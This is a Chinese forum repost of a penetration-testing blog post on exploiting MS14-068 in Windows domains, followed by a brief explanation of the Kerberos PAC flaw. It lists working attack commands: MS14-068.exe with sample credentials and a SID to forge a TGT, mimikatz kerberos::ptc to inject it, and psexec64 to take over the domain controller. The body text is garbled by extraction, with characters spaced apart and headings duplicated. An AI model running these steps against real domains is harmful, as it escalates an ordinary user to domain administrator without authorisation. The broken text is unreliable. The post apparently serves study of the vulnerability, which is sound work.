搜索

[2077] 2021-08-01_域渗透MS14-068利用及原理浅析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-16
2021-08-01_域渗透MS14-068利用及原理浅析 域 渗 透   M S 1 4 - 0 6 8 利 用 及 原 理 浅 析 原 创   d o n 9 s e c   d o n 9 s e c   2 0 2 1 - 0 8 - 0 1 收 录 于 话 题   # 内 网 渗 透   , 8 个 目 录 目 录 前 言 前 言 利 用 过 程 利 用 过 程 原 理 浅 析 原 理 浅 析 小 结 小 结 前 言 前 言 漏 洞 本 质 达 成 效 果 对 应 补 丁 利 用 利 用 伪 造 T G T 用 到 的 命 令 利 用 工 具 M S 1 4 - 0 6 8 伪 造 高 权 限 的 P A C ， 获 取 高 权 限 的 身 份 允 许 域 内 任 何 普 通 用 户 ， 将 自 己 摇 身 一 变 为 域 管 理 员 身 份 K B 3 0 1 1 7 8 0 用 户 主 体 名 称   ( U P N )   [ - u ] ： N E O @ A D C S . L A B 用 户 密 码   [ - p ] :   P @ s s w o r d 用 户 安 全 标 识 符   ( S I D )   [ - s ] ： S - 1 - 5 - 2 1 - 1 4 7 3 6 4 3 4 1 9 - 7 7 4 9 5 4 0 8 9 - 2 2 2 2 3 2 9 1 2 7 - 1 1 1 0 目 标 域 控   [ - d ] ： D C . A D S E C . L A B   或 者   域 控 I P 地 址 #   查 看 是 否 已 打 补 丁 s y s t e m i n f o   | f i n d s t r   " 3 0 1 1 7 8 0 " #   查 看 安 全 标 识 符   S I D w h o a m i   / u s e r M S 1 4 - 0 6 8 . e x e   - u   l i w e i @ a d s e c . l a b   - s   S - 1 - 5 - 2 1 - 3 5 1 9 7 2 4 3 1 5 - 1 6 6 4 9 0 4 6 1 3 - 6 8 9 4 9 9 2 4 - 1 1 0 5   - d   1 9 2 . 1 6 8 . 1 0 0 . 2 5 4   - p   P @ s s w o r d M S 1 4 - 0 6 8 . e x e   - u   l i w e i @ a d s e c . l a b   - s   S - 1 - 5 - 2 1 - 3 5 1 9 7 2 4 3 1 5 - 1 6 6 4 9 0 4 6 1 3 - 6 8 9 4 9 9 2 4 - 1 1 0 5   - d   D C . A D S E C . L A B   - p   P @ s s w o r d
清 除 本 地 历 史 票 据 验 证 当 前 对 域 控 的 访 问 权 限 使 用 m i m i k a t z 将 伪 造 的 K e r b e r o s   T G T 注 入 到 到 当 前 用 户 会 话 中 再 次 访 问 域 控 k l i s t   p u r g e d i r   D C . A D S E C . L A B c $ k e r b e r o s : : p t c   T G T _ l i w e i @ a d s e c . l a b . c c a c h e
使 用 p s e x e c 6 4 成 功 拿 下 域 控 原 理 浅 析 原 理 浅 析 其 实 出 现 这 个 问 题 的 关 键 点 在 于 P A C ( 特 权 属 性 证 书 : 验 证 用 户 所 拥 有 的 权 限 ) 先 大 致 回 顾 一 下 K e r b e r o s 的 认 证 流 程 域 用 户 登 录 ， 向 K D C 的 A S 服 务 发 送 自 身 密 码 加 密 的 时 间 戳 进 行 预 认 证 ； D C 的 A S 服 务 验 证 用 户 密 码 是 否 正 确 。 若 正 确 ， 返 回 一 张 T G T 票 据 ， 该 票 据 为 k r b t g t 密 码 加 密 而 成 ； 域 用 户 凭 借 T G T 票 据 向 K D C 的 T G S 服 务 申 请 访 问 某 S e r v e r 服 务 的 票 据 ； 域 控 的 T G S 服 务 验 证 T G T 后 ， 返 回 给 域 用 户 能 够 访 问 该 S e r v e r 服 务 的 票 据 ( S T ,   T G S   T i c k e t ) ； 域 用 户 拿 着 S T 访 问 对 应 的 S e r v e r 服 务 ； 该 S e r v e r 服 务 验 证 S T ， 决 定 是 否 允 许 让 域 用 户 访 问 。 其 中 ， P A C 是 默 认 包 含 在 T G T 中 的 ； 通 常 情 况 下 ， A S _ R E Q   请 求 中 如 果 i n c l u d e - p a c 被 置 为   t r u e ， 只 要   A S   服 务 通 过 了 域 用 户 的 认 证 ， 则 会 在 返 回 的   A S _ R E P   数 据 包 中 的   T G T   中 加 入   P A C   信 息 ； 而 如 果 在   A S _ R E Q   请 求 时 ， i n c l u d e - p a c 被 置 为   f a l s e ， 则   A S _ R E P   返 回 的   T G T   中 就 不 会 包 含   P A C   信 息 。 p s e x e c 6 4   D C   c m d . e x e
p y k e k 涉 及 i n c l u d e - p a c 的 部 分 于 是 ， 在 A S _ R E P 返 回 的 T G T 中 没 有 P A C 信 息 后 ， 域 用 户 则 可 以 伪 造 " 恶 意 " 的 P A C 放 入 T G S _ R E Q 中 ， K D C 解 密 P A C 后 会 再 次 加 密 到 一 个 新 的 T G T 中 并 返 回 给 域 用 户 ， 此 时 的 T G T 中 已 经 携 带 了 “ 恶 意 ” P A C ， 也 就 达 到 漏 洞 利 用 的 目 的 。 至 于 后 面 都 是 正 常 的 认 证 流 程 ， 和 漏 洞 产 生 没 啥 太 大 联 系 。 涉 及 的 具 体 原 理 和 细 节 ， 还 在 啃 。 。 。 小 结 小 结 稳 住 ， 还 能 赢 。 参 考 ： h t t p s : / / g i t h u b . c o m / a b a t c h y 1 7 / W i n d o w s E x p l o i t s / t r e e / m a s t e r / M S 1 4 - 0 6 8 h t t p s : / / g i t h u b . c o m / m u b i x / p y k e k / h t t p s : / / b l o g . c s d n . n e t / z y _ s t r i v e _ 2 0 1 2 / a r t i c l e / d e t a i l s / 5 1 6 9 8 7 8 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理